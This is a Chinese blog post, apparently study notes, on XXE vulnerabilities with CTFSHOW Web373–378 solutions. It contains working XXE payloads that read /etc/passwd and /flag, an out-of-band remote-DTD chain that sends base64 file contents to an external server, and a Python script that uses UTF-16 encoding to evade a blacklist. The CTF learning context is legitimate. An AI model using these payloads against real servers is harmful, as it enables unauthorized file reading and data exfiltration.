XXE漏洞学习与总结
一、什么事XXE
先得好好学学啥叫XML
再来学啥事XXE
我发现想在介绍XXE的文章里边看懂啥叫实体啥叫参数实体是一件不可能的事情
二、CTFSHOW题解
Web373
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; } highlight_file(__FILE__);
|
从payload all the things里边偷一个payload:
1 2 3 4 5 6
| <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <data>&file;</data>
|
改一下:(根元素不能是ctfshow)
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <test> <ctfshow>&file;</ctfshow> </test>
|
这题做的不明不白的
Web374
最后还是抄了yu22x师傅的wp
https://blog.csdn.net/miuzzx/article/details/112347932v
vps上起Apache服务参考了https://www.west.cn/docs/421537.html
稍微看看具体原理:
有关%即参数实体:
在XML文件中,如果一个实体名前面带有百分号(%),则表示这是一个参数实体(Parameter Entity)。XML中的实体是用来表示特定字符、字符串或文本片段的声明。实体的目的是为了方便在XML文档中引用一些特殊字符或重复使用一些文本片段。
有两种类型的实体:一般实体(General Entity)和参数实体(Parameter Entity)。它们的声明方式稍有不同:
一般实体(General Entity):一般实体用于表示单个字符或文本片段,并且在DTD(Document Type Definition)或XML文档中用&实体名;来引用。一般实体以&开头,以;结尾,例如:<表示小于符号 <。
参数实体(Parameter Entity):参数实体用于定义一组实体,它通常在DTD中使用。在DTD中,参数实体的声明以百分号(%)开头,以分号(;)结尾,例如:<!ENTITY % myEntity “Hello, World!”>。参数实体本身不会被引用,但可以在其他实体或DTD中使用。
payload引用实体aaa->aaa引用DTD->DTD引用xxe->xxe引用file->file读取flag
test.dtd:
1 2 3
| <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://xxx:9999/%file;'> "> %dtd; %xxe;
|
payload:
1 2 3 4 5 6
| <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://xxx/test.dtd"> %aaa; ]> <root>123</root>
|
Web375
直接不写XML文件的版本号就行
Web376
跟上一题一样 梭哈了
Web377
payload其实和上面的题目一样,使用UTF-16来bypass对http的黑名单
exp:
1 2 3 4 5 6 7 8 9 10 11 12
| import requests
url = 'http://77e47474-e964-47c7-9ab6-9cfd982addeb.challenge.ctf.show/' payload = """<!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://121.37.219.181/test.dtd"> %aaa; ]> <root>123</root>""" payload = payload.encode('utf-16') print(payload) requests.post(url ,data=payload)
|
Web378
抓个包就知道怎么做啦
payload:
1 2 3 4
| <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///flag"> ]> <user><username>&file;</username><password>&file;</password></user>
|